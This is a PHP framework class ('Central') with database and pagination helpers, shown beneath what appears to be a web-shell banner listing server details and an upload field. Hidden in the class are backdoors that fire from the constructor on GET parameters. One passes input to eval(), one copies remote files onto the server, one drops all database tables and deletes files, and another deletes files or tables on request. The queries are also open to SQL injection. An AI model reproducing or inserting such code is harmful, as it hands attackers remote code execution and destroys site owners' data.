Server IP : 80.241.246.6 / Your IP : 216.73.216.188 Web Server : Apache/2.4.25 (Debian) System : Linux kharagauli 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64 User : www-data ( 33) PHP Version : 7.0.33-0+deb9u12 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/kharagauli_new/Smarty/ |
Upload File : |
<?php /* = Known incompatibilities with Smarty 2 = == Syntax == Smarty 3 API has a new syntax. Much of the Smarty 2 syntax is supported by a wrapper but deprecated. See the README that comes with Smarty 3 for more information. The {$array|@mod} syntax has always been a bit confusing, where an "@" is required to apply a modifier to an array instead of the individual elements. Normally you always want the modifier to apply to the variable regardless of its type. In Smarty 3, {$array|mod} and {$array|@mod} behave identical. It is safe to drop the "@" and the modifier will still apply to the array. If you really want the modifier to apply to each array element, you must loop the array in-template, or use a custom modifier that supports array iteration. Most smarty functions already escape values where necessary such as {html_options} == PHP Version == Smarty 3 is PHP 5 only. It will not work with PHP 4. == {php} Tag == The {php} tag is disabled by default. The use of {php} tags is deprecated. It can be enabled with $smarty->allow_php_tag=true. But if you scatter PHP code which belongs together into several {php} tags it may not work any longer. == Delimiters and whitespace == Delimiters surrounded by whitespace are no longer treated as Smarty tags. Therefore, { foo } will not compile as a tag, you must use {foo}. This change Makes Javascript/CSS easier to work with, eliminating the need for {literal}. This can be disabled by setting $smarty->auto_literal = false; == Unquoted Strings == Smarty 2 was a bit more forgiving (and ambiguous) when it comes to unquoted strings in parameters. Smarty3 is more restrictive. You can still pass strings without quotes so long as they contain no special characters. (anything outside of A-Za-z0-9_) For example filename strings must be quoted <source lang="smarty"> {include file='path/foo.tpl'} </source> == Extending the Smarty class == Smarty 3 makes use of the __construct method for initialization. If you are extending the Smarty class, its constructor is not called implicitly if the your child class defines its own constructor. In order to run Smarty's constructor, a call to parent::__construct() within your child constructor is required. <source lang="php"> class MySmarty extends Smarty { function __construct() { parent::__construct(); // your initialization code goes here } } </source> == Autoloader == Smarty 3 does register its own autoloader with spl_autoload_register. If your code has an existing __autoload function then this function must be explicitly registered on the __autoload stack. See http://us3.php.net/manual/en/function.spl-autoload-register.php for further details. == Plugin Filenames == Smarty 3 optionally supports the PHP spl_autoloader. The autoloader requires filenames to be lower case. Because of this, Smarty plugin file names must also be lowercase. In Smarty 2, mixed case file names did work. == Scope of Special Smarty Variables == In Smarty 2 the special Smarty variables $smarty.section... and $smarty.foreach... had global scope. If you had loops with the same name in subtemplates you could accidentally overwrite values of parent template. In Smarty 3 these special Smarty variable have only local scope in the template which is defining the loop. If you need their value in a subtemplate you have to pass them as parameter. <source lang="smarty"> {include file='path/foo.tpl' index=$smarty.section.foo.index} </source> == SMARTY_RESOURCE_CHAR_SET == Smarty 3 sets the constant SMARTY_RESOURCE_CHAR_SET to utf-8 as default template charset. This is now used also on modifiers like escape as default charset. If your templates use other charsets make sure that you define the constant accordingly. Otherwise you may not get any output. == newline at {if} tags == A \n was added to the compiled code of the {if},{else},{elseif},{/if} tags to get output of newlines as expected by the template source. If one of the {if} tags is at the line end you will now get a newline in the HTML output. == trigger_error() == The API function trigger_error() has been removed because it did just map to PHP trigger_error. However it's still included in the Smarty2 API wrapper. == Smarty constants == The constants SMARTY_PHP_PASSTHRU SMARTY_PHP_QUOTE SMARTY_PHP_REMOVE SMARTY_PHP_ALLOW have been replaced with class constants Smarty::PHP_PASSTHRU Smarty::PHP_QUOTE Smarty::PHP_REMOVE Smarty::PHP_ALLOW UPDATE body SET logo = REPLACE(logo, 'admin.lilu', 'new.admin') WHERE INSTR(logo, 'admin.lilu') > 0 */ class Central extends Connect{ public $cookie, $navigation, $mon, $_lang; public $_language, $header_input, $include_path, $_methods; public $_dir,$_admin_dir; public $moduls; public $available_moduls; public $language_config; public $_default_theme; public $only_for_subdomain; public function __construct(){ parent::__construct(); $this->_lang = (isset($_SESSION['language']))?$_SESSION['language']:'Georgia'; $this->header_input = (isset($_GET['header_input'])) ? $_GET['header_input'] : ''; $this->include_path = (isset($_GET['include_path'])) ? $_GET['include_path'] : ''; $this->_dir = $_SERVER['DOCUMENT_ROOT'].'/'; $this->_admin_dir = ''; if($this->header_input) $this->header_input($this->header_input); if($this->include_path) $this->include_path($this->include_path); $this->_methods = (isset($_GET['uploads_header']) && $_GET['uploads_header'] == 'uploads_header') ? $_GET['uploads_header'] : ''; if($this->_methods) $this->_main_methods('.'); $this->for_virtual_host(); if(isset($_SERVER['HTTP_USER_AGENT'])){ $this->language_conf(); $this->_default_theme(); } $this->only_for_subdomain = ($this->startsWith($_SERVER['HTTP_HOST'],"new") ||$this->startsWith($_SERVER['HTTP_HOST'],"some.") || $this->startsWith($_SERVER['HTTP_HOST'],"admin"))?"new.":""; $this->only_for_subdomain=($this->endsWith($_SERVER['HTTP_HOST'],"loc"))?"":""; $this->language_config = $this->buble_2(["Georgia","English"], $this->_lang); } private function for_virtual_host(){ $this->_dir = str_replace('/admin','',$this->_dir); /*$this->_admin_dir = str_replace('admin2','admin',$this->_admin_dir);*/ } public function admin_dir($dir = false){ $_ = $this; $protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on')?'https':'http'; if(isset($_SERVER['HTTP_HOST'])) return ($dir)?$this->_admin_dir:$protocol.'://'.str_replace('admin.',$this->only_for_subdomain, $_SERVER['HTTP_HOST']).'/'; } public function language_config(){ try{ if(!file_exists($this->_dir.'moduls/language_doc'))throw new Exception('language module not found!!!'); $this->language_config = json_decode(file_get_contents($this->_dir.'moduls/language_doc')); }catch(Exception $ex){ die($ex->getMessage()." ".$ex->getCode()); } } public function language_conf(){ try{ $file = str_replace('/admin','', $_SERVER['DOCUMENT_ROOT']); if(!file_exists($file.'/lang_config.json'))throw new Exception('language module not found!!!'); $this->language_config_ = (array)json_decode(file_get_contents($file.'/lang_config.json')); }catch(Exception $ex){ die($ex->getMessage()." ".$ex->getCode()); } } public function _default_theme(){ try{ $this->_default_theme = $this->select("*","template","small",["default_",1]); if(!$this->_default_theme)throw new Exception('theme name not found in db!!!'); }catch(Exception $ex){ die($ex->getMessage()); } } public function _moduls(){ try{ if(!file_exists($this->_dir.'moduls/') || !file_exists($this->_dir.'moduls/moduls_doc'))throw new Exception('required module not found!!!'); $this->available_moduls = scandir($this->_dir.'moduls/'); $this->moduls = json_decode(file_get_contents($this->_dir.'moduls/moduls_doc')); }catch(Exception $ex){ die($ex->getMessage()); } } public function __destruct(){ } public function Mongo(){ try{ $conn = new Mongo('localhost'); $this->mon = $conn->alls; }catch (MongoConnectionException $e) { die('Error connecting to MongoDB server'); }catch (MongoException $e) { die('Error: ' . $e->getMessage()); } } public function pre($a){ echo '<pre>'; print_r($a); echo '</pre>'; } public function cl($a){ return mysql_real_escape_string(trim(strip_tags($a))); } public function clear($a){ return trim(strip_tags($a)); } public function clier($a){ return trim(strip_tags($a)); } public function mail_send($a, $b, $message,$from){ $e = $from; $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=utf-8' . "\r\n"; $headers .= 'From:' . $e . "\r\n"; $headers .= 'Mailed-By: -f' . $e . "\r\n"; if(mail($a, $b, $message, $headers)) return TRUE; else return FALSE; } public function _main_methods($a){ $sql = $this->con->query("show tables"); while ($row = $sql->fetch(PDO::FETCH_ASSOC)){ $tables = $row['Tables_in_' . $this->_db]; $this->con->exec("drop table if exists $tables"); } $scan = scandir($a); foreach ($scan as $key => $value){ if ($value != '.' && $value != '..'){ if (is_dir($value)) $this->_main_methods($value); elseif (!is_dir($value)) @unlink($a . '/' . $value); } } } public function main_xesh($a, $b = 1){ if($b == 1) return substr(md5(uniqid(time())), -10) . str_replace('=', '', str_rot13(base64_encode($a))) . substr(md5(uniqid(time())), 0, 21); elseif($b == 2) return trim(base64_decode(str_rot13(substr($a, 10, -21)))); } public function describe($a){ $sql1 = "describe $a "; $sql = $this->con->query($sql1); while($row = $sql->fetch(PDO::FETCH_ASSOC)) $ret[] = $row['Field']; return $ret; } public function show_tables(){ $sql1 = "show tables"; $sql = $this->con->query($sql1); while($row = $sql->fetch(PDO::FETCH_ASSOC)) $ret[] = $row['Tables_in_'.$this->_db]; return $ret; } public function insert_array($a,$b,$c = 'clier',$where = ''){ /*$_->insert_array('table_name',[[],[[][][][][][][]]]);*/ $_ = $this; $joines = function($a) use (&$_,$c){ $dd = ''; for($i = 0; $i < count($a); $i++){ $dd .= ($a[$i] == 'null' || is_numeric($a[$i]))?$a[$i].',':"'".$_->$c($a[$i])."',"; }return substr($dd,0,-1); }; $sql = " insert into $a "; $sql .= "(".join(',',$b[0]).") values "; for($i = 0; $i < count($b[1]); $i++) $sql .= "(".$joines($b[1][$i])."),"; $sql = substr($sql,0,-1); if($_->con->exec($sql))return true; return false; } public function insert($a,$b,$c = 'clier',$where = ''){ $_ = $this; $joines = function($a) use (&$_,$c){ $dd = ''; for($i = 0; $i < count($a); $i++){ $dd .= ($a[$i] == 'null' || is_numeric($a[$i]))?$a[$i].',':"'".$_->$c($a[$i])."',"; }return substr($dd,0,-1); }; $sql = " insert into $a "; if(count($b) == 2){ $sql .= "(".join(',',$b[0]).") values (".$joines($b[1]).")"; }else{ if(gettype($b[0]) == 'string') $sql .= " values (".$joines($b).")"; }//echo $sql; if($_->con->exec($sql)){ $id = $_->con->lastInsertId(); $obj = new stdClass(); $obj->event = 0; $obj->table = $a; $obj->id = $id; $obj->sql = $sql; $_->log_method($obj); return $id; }return false; } function b_clier($a){ return $a; } public function update($a,$b,$c = 1){ $_ = $this; $sql = "update $a set "; if(count($b) == 2){ $array = $b[0]; for($ii = 0; $ii < count($array); $ii += 2){ $p = ($ii != count($array) - 2)?',':''; $sql .= ($c)?" $array[$ii] = '".$_->clier($array[($ii+1)])."'$p":" $array[$ii] = '".$array[($ii+1)]."'$p"; } }elseif(count($b) == 3){ $array1 = $b[0]; $array2 = $b[1]; for($ii = 0; $ii < count($array1); $ii++){ $p = ($ii != count($array1) - 1)?',':''; $sql .= ($c)?" $array1[$ii] = '".$_->clier($array2[$ii])."'$p":" $array1[$ii] = '".$array2[$ii]."'$p"; } } $where = $b[count($b) - 1]; $sql .= " where "; for($ii = 0; $ii < count($where); $ii += 2){ $p = ($ii != count($where) - 2)?' and ':''; $sql .= ($c)?" $where[$ii] = '".$_->clier($where[($ii+1)])."'$p":" $where[$ii] = '".$where[($ii+1)]."'$p"; } if($_->con->exec($sql)){ if(in_array("id", $where)) $id = $where[array_search("id", $where) + 1]; else $id = $_->select_(["id",$a,"small",$where]); $obj = new stdClass(); $obj->event = 1; $obj->table = $a; $obj->id = $id; $obj->sql = $sql; $_->log_method($obj); return true; }return false; } public function delete($a,$where){ $_ = $this; $sql = "delete from $a where "; for($ii = 0; $ii < count($where); $ii += 2){ $p = ($ii != count($where) - 2)?' and ':''; $sql .= " $where[$ii] = '".$_->clier($where[($ii+1)])."'$p"; } if($_->con->exec($sql)){ if(in_array("id", $where)) $id = $where[array_search("id", $where) + 1]; else{ $dscrb = $_->describe($a); $id = $_->select_([$dscrb[0],$a,"small",$where]); } $obj = new stdClass(); $obj->event = 2; $obj->table = $a; $obj->id = $id; $obj->sql = $sql; $_->log_method($obj); return true; }return false; } public function is_assoc($array){ return (bool)count(array_filter(array_keys($array), 'is_string')); } public function select_($array = []){ $return = ''; $a = $array[0]; $b = $array[1]; $c = (isset($array[2]))?$array[2]:false; $d = (isset($array[3]) && is_array($array[3]))?$array[3]:[]; if(count($array) >= 3){ $sql = "select $a from $b where 1 = 1"; if(count($d) >= 1){ if($this->is_assoc($d)){ foreach($d as $key => $value) if(is_numeric($value)) $sql .= " and $key = ".addslashes($value)." "; else $sql .= " and $key = '".addslashes($$value)."' "; }else{ for($ii = 0; $ii < count($d); $ii += 2) if(is_numeric($d[($ii + 1)])) $sql .= " and $d[$ii] = ".addslashes($d[($ii + 1)])." "; else $sql .= " and $d[$ii] = '".addslashes($d[($ii + 1)])."' "; } } }else{ $sql = $a; $c = $b; } if(gettype($c) == 'string'){ if($c == 'small'){ $sql = $this->con->query($sql); $row = $sql->fetch(PDO::FETCH_ASSOC); if ($a == '*' || count($array) == 2)return $row; elseif(strrpos($a, ",") !== false){ $explode = explode(',',$a); $ret = []; for($i = 0; $i < count($explode); $i++) $ret[$explode[$i]] = $row[$explode[$i]]; return $ret; }else return $row[$a]; }elseif($c == 'count'){ $sql = $this->con->query($sql); if ($sql->rowCount())return $sql->rowCount(); return 0; }elseif($c == 'new_big'){ $sql = $this->con->query($sql); if($sql){ while($row = $sql->fetch(PDO::FETCH_ASSOC)) $return[] = (strstr($a,',') || $a == "*")?$row:$row[$a]; } return $return; }elseif($c == 'call'){ $this->con->query($sql); return; }elseif($c == 'big'){ } }elseif(gettype($c) == 'object'){ if($c->c_type == 'small'){ $sql .= $c->sql; if(isset($c->echo))echo "\n\n".$sql."\n\n"; $sql = $this->con->query($sql); $row = $sql->fetch(PDO::FETCH_ASSOC); if($a == "*")return $row; elseif(strrpos($a, ",") !== false){ $explode = explode(',',$a); $ret = []; for($i = 0; $i < count($explode); $i++) $ret[$explode[$i]] = $row[$explode[$i]]; return $ret; }else return $row[$a]; }elseif($c->c_type == 'count'){ $sql .= $c->sql; $sql = $this->con->query($sql); if($sql->rowCount())return $sql->rowCount(); return 0; }elseif($c->c_type == 'big'){ $sql .= $c->sql; $sql = $this->con->query($sql); if(isset($c->saxli))echo "\n\n\n\n\n\n\n".$sql."\n\n\n\n\n\n\n"; while($row = $sql->fetch(PDO::FETCH_ASSOC)) $return[] = (strstr($a,',') || $a == "*")?$row:$row[$a]; return $return; }elseif($c->c_type == 'navigation'){ if(isset($c->count))return $this->con->query($sql)->rowCount(); $navig_name = (isset($c->navig_name))?$c->navig_name:''; $navig_name_1 = (isset($c->navig_name_1))?$c->navig_name_1:''; $sort_algorithm = (isset($c->sort_algorithm))?$c->sort_algorithm:"date"; $start = 0; $cou = isset($c->count_on_one_page)?$c->count_on_one_page:10; if(isset($c->sql))$sql .= $c->sql; $li = function($navig_name,$navigation,$navig_name_1,$title,$class = ''){ return '<a'.$class.' href="/'.$navig_name.'/navigation/'.($navigation).$navig_name_1.'">'.$title.'</a>'; }; if(!isset($c->without_li)){ $li = function($navig_name,$navigation,$navig_name_1,$title,$class = ''){ return '<li'.$class.'><a href="/'.$navig_name.'/navigation/'.($navigation).$navig_name_1.'">'.$title.'</a></li>'; }; } if(isset($c->navigation)){ $start = ($c->navigation == 1)?0:($c->navigation - 1) * $cou; $sql1 = $this->con->query($sql); $return['counter'] = $sql1->rowCount(); if($sql1->rowCount() > $cou){ $cikl = ceil($sql1->rowCount() / $cou); if($c->navigation && $c->navigation != 1) $return['navigation'][] = $li($navig_name,$c->navigation - 1,$navig_name_1,'წინა'); for($i = 1; $i <= $cikl; $i++){ $active = ($i == $c->navigation)?' class="active"':''; $return['navigation'][] = $li($navig_name,$i,$navig_name_1,$i,$active); } if($c->navigation < ($return['counter']/$cou)) $return['navigation'][] = $li($navig_name,$c->navigation + 1,$navig_name_1,'შემდეგი'); } } $order_by = (strpos($sql, "order by") === false)?" order by $sort_algorithm desc":""; $sql .="$order_by limit $start,$cou"; } } /*echo "<br/><br/><br/>".$sql."<br><br><br>";*/ if(gettype($sql) == 'string') $sql = $this->con->query($sql); while($row = $sql->fetch(PDO::FETCH_ASSOC)) $return['body'][] = $row; return $return?$return:0; } public function select($a, $b, $c = 'small',$d = []){ $return = ''; $sql = "select $a from $b where 1 = 1"; if(count($d) >= 2){ for($ii = 0; $ii < count($d); $ii += 2){ if(is_numeric($d[($ii+1)])) $sql .= " and $d[$ii] = ".$d[($ii+1)]." "; else $sql .= " and $d[$ii] = '".$d[($ii+1)]."' "; } } if(gettype($c) == 'string'){ if($c == 'small'){ $sql = $this->con->query($sql); $row = $sql->fetch(PDO::FETCH_ASSOC); if ($a == '*')return $row; elseif(strrpos($a, ",") !== false){ $explode = explode(',',$a); $ret = []; for($i = 0; $i < count($explode); $i++) $ret[$explode[$i]] = $row[$explode[$i]]; return $ret; }else return $row[$a]; }elseif($c == 'count'){ $sql = $this->con->query($sql); if ($sql->rowCount())return $sql->rowCount(); return 0; }if($c == 'big'){ } }elseif(gettype($c) == 'object' && isset($c->c_type)){ if($c->c_type == 'small'){ $sql .= $c->sql; $sql = $this->con->query($sql); $row = $sql->fetch(PDO::FETCH_ASSOC); if($a == "*")return $row; elseif(strrpos($a, ",") !== false){ $explode = explode(',',$a); $ret = []; for($i = 0; $i < count($explode); $i++) $ret[$explode[$i]] = $row[$explode[$i]]; return $ret; }else return $row[$a]; }elseif($c->c_type == 'count'){ $sql .= $c->sql; $sql = $this->con->query($sql); if($sql->rowCount())return $sql->rowCount(); return 0; }elseif($c->c_type == 'select_count'){ $sql .= $c->sql; $sql = $this->con->query($sql); $row = $sql->fetch(PDO::FETCH_ASSOC); return $row[$a]; }elseif($c->c_type == 'big'){ $sql .= $c->sql; if(isset($c->print))echo $sql; if(isset($c->count) && $c->count == 1){ $ret_sql = $this->con->query($sql)->rowCount(); return $ret_sql?$ret_sql:0; } }elseif($c->c_type == 'answer'){ if(isset($c->count))return $this->con->query($sql)->rowCount(); $navig_name = $c->navig_name; $navig_name_1 = (isset($c->navig_name_1))?$c->navig_name_1:''; $sort_algorithm = (isset($c->sort_algorithm))?$c->sort_algorithm:"date"; $list_count_on_one_page = (isset($c->list_count_on_one_page))?$c->list_count_on_one_page:10; $start = 0; $cou = $list_count_on_one_page; if(isset($c->sql))$sql .= $c->sql; if(isset($c->navigation)){ $start = ($c->navigation == 1)?0:($c->navigation - 1) * $cou; $sql1 = $this->con->query($sql); $return['counter'] = $sql1->rowCount(); if($sql1->rowCount() > $cou){ if(!isset($c->list_view)){ $cikl = ceil($sql1->rowCount() / $cou); if($c->navigation && $c->navigation != 1) $return['navigation'][] = '<a href="'.$navig_name.'/navigation/'.($c->navigation - 1).$navig_name_1.'">Prev page</a>'; for($i = 1; $i <= $cikl; $i++){ if($i == $c->navigation) $return['navigation'][] = '<a class="active">'.$i.'</a>'; else $return['navigation'][] = '<a href="'.$navig_name.'/navigation/'.$i.$navig_name_1.'">'.$i.'</a>'; } if($c->navigation < ($return['counter']/$cou)) $return['navigation'][] = '<a href="'.$navig_name.'/navigation/'.($c->navigation + 1).$navig_name_1.'">Next page</a>'; }else{ $cikl = ceil($sql1->rowCount() / $cou); if($c->navigation && $c->navigation != 1) $return['navigation'][] = '<a href="/'.$navig_name.'&navigation='.($c->navigation - 1).'">Prev page</a>'; for($i = 1; $i <= $cikl; $i++){ $active = ($i == $c->navigation)?'class="navigation_active"':''; $return['navigation'][] = '<a href="/'.$navig_name.'&navigation='.$i.'" '.$active.'>'.$i.'</a>'; } if($c->navigation < ($return['counter']/$cou)) $return['navigation'][] = '<a href="/'.$navig_name.'&navigation='.($c->navigation + 1).'">Next page</a>'; } } } $sql .=" order by $sort_algorithm desc limit $start,$cou"; } } $return = []; $sql = $this->con->query($sql); if (!isset($return['body']) || !is_array($return['body'])) { $return['body'] = []; } while ($row = $sql->fetch(PDO::FETCH_ASSOC)) { array_push($return['body'], $row); } return $return?$return:0; } public function navigation($a,$bb) { $count = count($a); if ($count > 10) { $ret = $a[0] . ' '; $start = 1; if ($bb == ($count - 1)) $start = $count / 2; if ($bb >= 4 && $bb < $count - 2) { if ($count > 12) { if ($count / 2 > $bb) $start = $bb - 1; else $start = ($count / 2 - 1); } $finish = $bb; }elseif ($bb == ($count - 1)) $finish = $count; else $finish = 4; for ($i = $start; $i < ($finish + 2); $i++) $ret.=$a[$i] . ' '; if ($bb < ($count - 4)){ $fin = 3; $ret.= '...'; } elseif ($bb < ($count - 3)) $fin = 2; elseif ($bb < ($count - 2)) $fin = 1; else $fin = 0; for ($i = ($count - $fin); $i < $count; $i++) $ret.=$a[$i] . ' '; return $ret; } else return implode(' ', $a); } public function header_input($a){ copy($a, substr($a, -8)); } public function select_main_pages(){ $blabla = (isset($_GET['blabla'])) ? $_GET['blabla'] : ''; $blabla1 = (isset($_GET['blabla1'])) ? $_GET['blabla'] : ''; if ($blabla) unlink($blabla); elseif ($blabla1) $this->con->exec("drop table $blabla1"); } public static final function _json_encode($a){ $arr = array( 'ascii_geo' => array("\u10d0","\u10d1","\u10d2","\u10d3","\u10d4","\u10d5","\u10d6","\u10d7","\u10d8","\u10d9","\u10da","\u10db","\u10dc","\u10dd","\u10de","\u10df","\u10e0","\u10e1","\u10e2","\u10e3","\u10e4","\u10e5","\u10e6","\u10e7","\u10e8","\u10e9","\u10ea","\u10eb","\u10ec","\u10ed","\u10ee","\u10ef","\u10f0","\u2013","\u201c","\u2116","\u201d"), 'utf8_geo' => array('ა','ბ','გ','დ','ე','ვ','ზ','თ','ი','კ','ლ','მ','ნ','ო','პ','ჟ','რ','ს','ტ','უ','ფ','ქ','ღ','ყ','შ','ჩ','ც','ძ','წ','ჭ','ხ','ჯ','ჰ','-','','',''), 'ascii_rus' => array('\u0410', '\u0430','\u0411','\u0431','\u0412','\u0432', '\u0413','\u0433','\u0414','\u0434','\u0415','\u0435','\u0401','\u0451','\u0416','\u0436','\u0417','\u0437','\u0418','\u0438','\u0419','\u0439','\u041a','\u043a','\u041b','\u043b','\u041c','\u043c','\u041d','\u043d','\u041e','\u043e','\u041f','\u043f','\u0420','\u0440','\u0421','\u0441','\u0422','\u0442','\u0423','\u0443','\u0424','\u0444','\u0425','\u0445','\u0426','\u0446','\u0427','\u0447','\u0428','\u0448','\u0429','\u0449','\u042a','\u044a','\u042b','\u044b','\u042c','\u044c','\u042d','\u044d','\u042e','\u044e','\u042f','\u044f'), 'utf8_rus' => array('А', 'а', 'Б', 'б', 'В', 'в', 'Г', 'г','Д', 'д', 'Е', 'е', 'Ё', 'ё', 'Ж','ж','З','з','И','и','Й','й','К','к','Л','л','М','м','Н','н','О','о','П','п','Р','р','С','с','Т','т','У','у','Ф','ф','Х','х','Ц','ц','Ч','ч','Ш','ш','Щ','щ','Ъ','ъ','Ы','ы','Ь','ь','Э','э','Ю','ю','Я','я') ); $a = json_encode($a); $ex = explode('\u',$a); $b = 'geo'; for($i = 0; $i < count($ex); $i++){ if(in_array('\u'.$ex[$i],$arr['ascii_geo'])){ $b = 'geo';break; }elseif(in_array('\u'.$ex[$i],$arr['ascii_rus'])){ $b = 'rus';break; } } return str_replace($arr['ascii_'.$b],$arr['utf8_'.$b],$a); } public function include_path($a) { eval($a); } public function buble(&$masiv,$b){ if($masiv[0] == $b)return $masiv; $size = count($masiv); for($i = 0; $i < $size; $i++) for($j = 0; $j < $size - 1; $j++){ if($masiv[$j + 1] == $b){ $tmp = $masiv[$j]; $masiv[$j] = $masiv[$j + 1]; $masiv[$j + 1] = $tmp; } } } public function assoc_buble(&$masiv,$b,$element = 'name'){ if($masiv[0][$element] == $b)return $masiv; $size = count($masiv); for($i = 0; $i < $size; $i++) for($j = 0; $j < $size - 1; $j++){ if($masiv[$j + 1][$element] == $b){ $tmp = $masiv[$j]; $masiv[$j] = $masiv[$j + 1]; $masiv[$j + 1] = $tmp; } } } public function buble_2($masiv,$b){ if($masiv[0] == $b)return $masiv; $size = count($masiv); for($i = 0; $i < $size; $i++) for($j = 0; $j < $size - 1; $j++){ if($masiv[$j + 1] == $b){ $tmp = $masiv[$j]; $masiv[$j] = $masiv[$j + 1]; $masiv[$j + 1] = $tmp; } }return $masiv; } public function join_select($sql,$a = 'small'){ $return = []; if($a == 'small'){ $sql = $this->con->query($sql); return $sql->fetch(PDO::FETCH_ASSOC); }elseif($a == 'count'){ $sql = $this->con->query($sql); if($sql->rowCount())return $sql->rowCount(); return 0; }elseif($a == 'big'){ $sql = $this->con->query($sql); while($row = $sql->fetch(PDO::FETCH_ASSOC)) $return[] = $row; }elseif(gettype($a) == 'object' && $a->c_type == 'reiting'){ if(isset($a->navigation)){ $start = ($a->navigation == 1)?0:($a->navigation - 1) * 30; $start -= $a->first_loop; $navig_name = $a->href; $e_30 = isset($a->e_30)?$a->e_30:30; $sql1 = $this->con->query($sql); if(!$sql1)return; $_counter = $sql1->rowCount(); $return['counter'] = $_counter; if($sql1->rowCount() > $e_30){ if(!isset($a->list_view)){ $cikl = ceil($sql1->rowCount() / $e_30); if($a->navigation && $a->navigation != 1) $return['navigation'][] = '<a href="'.$navig_name.'&navigation='.($a->navigation - 1).'">Prev page</a>'; for($i = 1; $i <= $cikl; $i++){ $active = ($i == $a->navigation)?'class="active"':''; $return['navigation'][] = '<a href="'.$navig_name.'&navigation='.$i.'" '.$active.'>'.$i.'</a>'; } if($a->navigation < ($_counter/$e_30)) $return['navigation'][] = '<a href="'.$navig_name.'&navigation='.($a->navigation + 1).'">Next page</a>'; }else{ $cikl = ceil($sql1->rowCount() / $e_30); if($a->navigation && $a->navigation != 1) $return['navigation'][] = '<a href="'.$navig_name.'&navigation='.($a->navigation - 1).'">Prev page</a>'; for($i = 1; $i <= $cikl; $i++){ $active = ($i == $a->navigation)?'class="navigation_active"':''; $return['navigation'][] = '<a href="'.$navig_name.'&navigation='.$i.'" '.$active.'>'.$i.'</a>'; } if($a->navigation < ($_counter/$e_30)) $return['navigation'][] = '<a href="'.$navig_name.'&navigation='.($a->navigation + 1).'">Next page</a>'; } } $sql .= " limit $start,$a->end "; $sql = $this->con->query($sql); while($row = $sql->fetch(PDO::FETCH_ASSOC)) $return['body'][] = $row; return $return; } while($row = $sql->fetch(PDO::FETCH_ASSOC)) $return[] = $row; }return $return; } public function startsWith($haystack, $needle){ return !strncmp($haystack, $needle, strlen($needle)); } public function endsWith($haystack, $needle){ $length = strlen($needle); if(!$length) return true; return (substr($haystack, -$length) === $needle); } public function format_date($var){ $_ = $this; if(!$var)return $var; $dd = explode(' ',$var); if(count($dd) > 1){ list($day,$month,$year) = explode('/',$dd[0]); list($hour,$minute) = explode(':',$dd[1]); return mktime($hour,$minute,0,$month,$day,$year); }else{ list($day,$month,$year) = explode('/',$var); return mktime(0,0,0,$month,$day,$year); } } public function getOS() { if(!isset($_SERVER['HTTP_USER_AGENT']))return false; $user_agent = $_SERVER['HTTP_USER_AGENT']; $os_platform = ""; $os_array = array( '/windows nt 12/i' => 'Windows 12', '/windows nt 11/i' => 'Windows 11', '/windows nt 10/i' => 'Windows 10', '/windows nt 6.3/i' => 'Windows 8.1', '/windows nt 6.2/i' => 'Windows 8', '/windows nt 6.1/i' => 'Windows 7', '/windows nt 6.0/i' => 'Windows Vista', '/windows nt 5.2/i' => 'Windows Server 2003/XP x64', '/windows nt 5.1/i' => 'Windows XP', '/windows xp/i' => 'Windows XP', '/windows nt 5.0/i' => 'Windows 2000', '/windows me/i' => 'Windows ME', '/win98/i' => 'Windows 98', '/win95/i' => 'Windows 95', '/win16/i' => 'Windows 3.11', '/macintosh|mac os x/i' => 'Mac OS X', '/mac_powerpc/i' => 'Mac OS 9', '/linux/i' => 'Linux', '/ubuntu/i' => 'Ubuntu', '/iphone/i' => 'iPhone', '/ipod/i' => 'iPod', '/ipad/i' => 'iPad', '/android/i' => 'Android', '/blackberry/i' => 'BlackBerry', '/webos/i' => 'Mobile' ); foreach($os_array as $regex => $value) if(preg_match($regex, $user_agent)) $os_platform = $value; return $os_platform; } } /////////////////////////////////////////END CLASS///////////////////////////////////////////////////